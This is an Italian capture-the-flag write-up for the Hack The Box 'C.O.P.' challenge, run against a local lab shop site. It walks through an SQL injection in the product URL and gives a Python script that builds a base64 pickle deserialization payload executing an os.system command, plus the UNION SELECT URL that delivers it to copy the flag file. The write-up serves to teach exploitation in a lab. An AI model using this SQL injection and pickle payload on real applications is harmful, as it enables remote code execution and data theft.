C.O.P.

Autore: Lord Shiva Aggiornamento: 22.08.2023 Tempo di lettura: 05 min.
 

Prima di tutto ho iniziato a curiosare sul sito per cercare eventuali falle. Il sito è un semplice negozio con pochissimi articoli.
Cliccando sugli articoli, vengono visualizzate le schede di ogni singolo prodotto.
L'URL attira la mia attenzione: http://localhost:1337/view/1
Modificando il numero dell'articolo con una lettera fa crashare il sistema. In questo caso, con molta probabilità è possibile eseguire un SQL injection.

Guardando il codice della pagina models.py è possibile notare che la variabile {product_id} non è pulita ed è quindi possibile passare del codice malevolo.
A questo punto sarà sufficiente creare un codice injection.

import pickle
import base64
import os

payload = 'cp flag.txt application/static/.'

class RCE:
    def __reduce__(self):
        return os.system, (payload,)

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))

Questo script sopra consente di ottenere una stringa in Base64 per il comando cp flag.txt application/static/.

Eseguite il file sopra con il comando python3 <nome_del_file_py> e copiatevi l'output (stringa in Base64).

A questo punto facciamo una prova nel nostro ambiente locale eseguento il seguente comando:

http://localhost:1337/view/'%20UNION%20SELECT%20'<stringa_che_avete_copiato>

Troverete a questo punto la flag di test all'indirizzo: http://localhost:1337/static/flag.txt

Ripetete l'operazione online e troverete la flag

HTB{n0_......................._4u}